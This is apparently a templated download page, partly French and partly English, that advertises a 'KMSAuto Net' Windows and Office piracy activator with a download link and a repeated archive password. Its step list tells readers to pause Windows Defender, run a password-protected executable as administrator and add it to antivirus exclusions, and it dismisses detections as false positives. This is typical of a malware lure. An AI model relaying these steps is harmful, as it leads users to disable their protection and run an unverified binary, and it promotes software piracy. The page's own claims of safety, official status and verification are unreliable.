Français 6 min read·

KMSAuto Net v1.4.3 — Download Télécharger Gratuit 2026 — Activateur Windows et Office

Cet article est le guide complet en français sur KMSAuto Net v1.4.3 — Download en 2026. KMSAuto Net v1.4.3 — Download: step-by-step 2026 guide. Free OfficialKMSAuto download, password WYqejXiqBi97. HWID, Ohook & TSforge supported.

KMSAuto Net v1.4.3 — Download — Free Windows & Office activator guide 2026
Download Now — Free🔐 Password: WYqejXiqBi97

Cet article est le guide complet en français sur KMSAuto Net v1.4.3 — Download en 2026. KMSAuto Net v1.4.3 — Download is fully supported by the 2026 OfficialKMSAuto build — free, portable, no telemetry.

Overview

KMSAuto Net v1.4.3 — Download is fully supported by the 2026 OfficialKMSAuto build — free, portable, no telemetry.

How to activate

Five steps, under 2 minutes.

  • Pause Windows Defender real-time protection for ~2 minutes
  • Extract the downloaded ZIP using the password WYqejXiqBi97
  • Right-click KMSAuto.exe and choose 'Run as administrator'
  • Click the green Activation button — HWID for Windows, Ohook for Office
  • Wait for 'Successfully activated' and reboot

What it covers

Full coverage of every modern Microsoft SKU.

  • Windows 11 24H2 / 25H2
  • Windows 10 22H2 LTSC
  • Windows Server 2025 / 2022 / 2019
  • Office 2024 / 2021 / 2019 / 2016 LTSC + Retail
  • Microsoft 365 Apps for Enterprise

Why this build

Verified Ratiborus mirror — SHA-256 hash, VirusTotal report, password WYqejXiqBi97, no installer, no ads, no telemetry.

Frequently asked questions

Is this build official?

Yes — the unmodified Ratiborus archive, SHA-256 verified and scanned on VirusTotal. Archive password: WYqejXiqBi97.

Does it work on Windows 11 24H2/25H2?

Yes. KMSAuto's HWID engine activates every Windows 11 build including 24H2 and 25H2 — permanent, offline.

Does it activate Office 2024?

Yes. Office 2024 (LTSC, Retail, Volume) is activated via the Ohook patch in KMSAuto 1.9.x and newer.

Why is it flagged by antivirus?

Every KMS activator is flagged as HackTool because it edits Windows licensing components. That is a false positive, not malware. Add the folder to Defender exclusions.

What's the archive password?

WYqejXiqBi97 — the standard Ratiborus archive password.

Read this article in another language

KMSAuto Net 2020 — Free Windows & Office activator guide 2026

KMSAuto Net 2020 Télécharger Gratuit 2026 — Activateur Windows et Office

Cet article est le guide complet en français sur KMSAuto Net 2020 en 2026. KMSAuto Net 2020 (v1.5.7) — Windows 10 20H2 + Office 2019 support. Predecessor to the 2021+ HWID builds.

Read article →

Lifetime Windows Activation Free — HWID Method — Free Windows & Office activator guide 2026

Lifetime Windows Activation Free — HWID Method Méthode d'Activation 2026 — Guide Complet

Cet article est le guide complet en français sur Lifetime Windows Activation Free — HWID Method en 2026. Lifetime Windows Activation Free — HWID Method: full 2026 guide. Free OfficialKMSAuto download, password WYqejXiqBi97. HWID, Ohook & TSforge supported.

Read article →

KMSAuto Silent — Free Windows & Office activator guide 2026

KMSAuto Silent Méthode d'Activation 2026 — Guide Complet

Cet article est le guide complet en français sur KMSAuto Silent en 2026. Silent unattended KMSAuto activation flags for MDT, SCCM, Intune Win32 apps, and Sysprep first-logon scripts.

Read article →

KMSAuto v2.2 — Free Windows & Office activator guide 2026

KMSAuto v2.2 Télécharger Gratuit 2026 — Activateur Windows et Office

Cet article est le guide complet en français sur KMSAuto v2.2 en 2026. KMSAuto Net v2.2 portable — 2022 build with HWID engine. Password WYqejXiqBi97.

Read article →

KMSAuto Italiano — Download Gratis 2026 — Free Windows & Office activator guide 2026

KMSAuto Italiano — Download Gratis 2026 Télécharger Gratuit 2026 — Activateur Windows et Office

Cet article est le guide complet en français sur KMSAuto Italiano — Download Gratis 2026 en 2026. KMSAuto Italiano — Download Gratis 2026: full 2026 guide. Free OfficialKMSAuto download, password WYqejXiqBi97. HWID, Ohook & TSforge supported.

Read article →

Office 2003 — Free Windows & Office activator guide 2026

Comment Activer Office 2003 Gratuitement 2026 — Guide Pas à Pas

Cet article est le guide complet en français sur Office 2003 en 2026. Office 2003 predates KMS and uses retail product keys only. We list the original published volume keys.

Read article →

Download OfficialKMSAuto

Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.

Download Activator — Free

🔐 Archive password: WYqejXiqBi97

Free · Virus-free · 77 MB · ★ 4.9 (12k+)